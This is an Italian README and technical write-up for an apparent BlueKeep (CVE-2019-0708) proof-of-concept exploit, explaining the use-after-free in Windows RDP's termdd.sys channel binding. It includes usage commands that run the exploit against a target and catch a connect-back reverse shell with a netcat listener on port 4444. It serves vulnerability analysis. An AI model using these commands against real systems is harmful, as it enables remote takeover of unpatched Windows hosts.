ricseclab/cve-2019-0708CVE-2019-0708 (BlueKeep) prova di concetto che consente RCE pre-auth su Windows7
Questo repository dimostra il bug di esecuzione di codice remoto in Windows Remote Desktop Services (RDS).
Qui sono presenti un codice POC e un rapporto tecnico sulla vulnerabilità BlueKeep, che abbiamo sviluppato in precedenza. NOTA: Il nostro obiettivo è aiutare gli analisti a comprendere meglio le vulnerabilità critiche.
Il nostro codice exploit è scritto in Python 3 e si basa sulla libreria PyRDP. Si prega di configurarli seguendo la guida all'installazione di PyRDP.
Attualmente il nostro exploit ha come target, ed è testato su, Windows 7 SP 1 (6.1.7601) x64 su Virtual Box.
Se il tuo computer ha l'indirizzo IP 192.168.56.1 e punti al server RDP su example.com:1234, allora digita
$ python exploit.py example.com -rp 1234 192.168.56.1
Se lo script sfrutta con successo il server, un shellcode di connessione di ritorno avvia una connessione TCP dal server verso 192.168.56.1:4444. Pertanto, ad esempio, dovresti attendere la connessione con netcat:
$ nc -v -l 4444
Se vuoi cambiare il numero di porta a cui il server si riconnette, usa l'opzione -bp:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
Nel maggio 2019, Microsoft ha divulgato una vulnerabilità critica di esecuzione di codice remoto CVE-2019-0708, in Remote Desktop Services (precedentemente noti come Terminal Services). Questa vulnerabilità è pre-autenticazione – il che significa che la vulnerabilità è wormabile, con il potenziale di causare interruzioni diffuse. Un aggressore può sfruttare questa vulnerabilità inviando messaggi di Remote Desktop Protocol (RDP) appositamente modificati al server di destinazione e ottenere l'esecuzione arbitraria di codice con privilegi amministrativi.
Microsoft Remote Desktop Services fornisce a un utente sessioni interattive Windows aperte da remoto. Presenta il desktop Windows dell'utente comunicando con il client utente utilizzando il Remote Desktop Protocol (RDP) sulla porta 3389/TCP.
Il protocollo RDP ha la capacità di essere migliorato attraverso estensioni software chiamate Canale Virtuale. Esempi di miglioramenti funzionali potrebbero includere: supporto per tipi speciali di hardware, audio o altre aggiunte alla funzionalità di base. Questi canali includono canali standard forniti da Microsoft come "rdpdr" (Reindirizzamento), "rdpsnd" (Suono), "cliprdr" (Condivisione appunti), ecc. Gli utenti possono scrivere moduli utilizzando l'API RDP per supportare altri canali. Oltre ai canali sopra menzionati, Microsoft crea due canali per impostazione predefinita: MS_T120 (usato per RDP stesso) e CTXTW (usato in Citrix ICA).
La vulnerabilità è correlata al processo di associazione dei canali virtuali di MS_T120 tramite la richiesta "MCS Connect Initial e GCC Create". Ulteriori informazioni di base sono disponibili su ZDI. Come accennato nell'articolo di ZDI, tutti i canali virtuali richiesti dal client vengono creati utilizzando termdd!IcaCreateChannel(). I puntatori a queste strutture di canale vengono quindi memorizzati in una tabella, che chiameremo ChannelPointerTable. Quando viene stabilita una connessione con il client RDP, tutti i canali virtuali statici, incluso MS_T120, vengono inizializzati internamente dal server RDP di Windows e puntati da ChannelPointerTable.
La query per creare MS_T120 e CTXTW viene emessa da rdpcore!WDLIB_IcaVirtualQueryBindings().
Fig .1: Generazione della query per creare MS_T120 e CTXTW
Dopo che la query viene passata a termdd!IcaBindVirtualChannels(), una struttura di canale virtuale viene creata in termdd!IcaAllocateChannel() e registrata in ChannelPointerTable.
Fig .2: Creazione e registrazione della struttura del canale virtuale
La funzione routine termdd!IcaBindChannel() è responsabile della registrazione di una struttura di canale virtuale in ChannelPointerTable.
Ecco il trace dello stack su Windows 7 x64, quando termdd!IcaBindChannel() viene chiamata con il primo argomento "MS_T120" e il terzo argomento 0x1f.
Fig .3: MS_T1209 viene associato allo slot 0x1f durante la richiesta iniziale
Quindi ChannelPointerTable appare come segue. Nota che MS_T120 è sempre presente nello Slot 0x1F.
Fig .4: ChannelPointerTable durante la richiesta iniziale
Esiste una vulnerabilità use-after-free nel driver del kernel RDP di Windows, termdd.sys.
Il problema è che quando il client specifica un canale con nome MS_T120\x00 durante "MCS Connect Initial e GCC Create", termdd!IcaCreateChannel() chiama termdd!IcaFindChannelByName() e restituisce la
struttura del canale MS_T120 esistente nello Slot 0x1F. Quindi questa struttura del canale viene considerata come una nuova voce di canale virtuale e memorizzata in un altro Slot (in questo esempio, Slot 2) durante "MCS Attach User Request".
Ecco il trace dello stack su Windows 7 x64, quando termdd!IcaBindChannel() viene chiamata con il primo argomento "MS_T120" e il terzo argomento 0x2.
Fig .5: MS_T1209 viene anche associato allo slot 0x2 durante la richiesta di attach
In altre parole, la struttura del canale MS_T120 è puntata da due slot 0x1F e 0x2.
Fig .6: ChannelPointerTable durante la richiesta di attach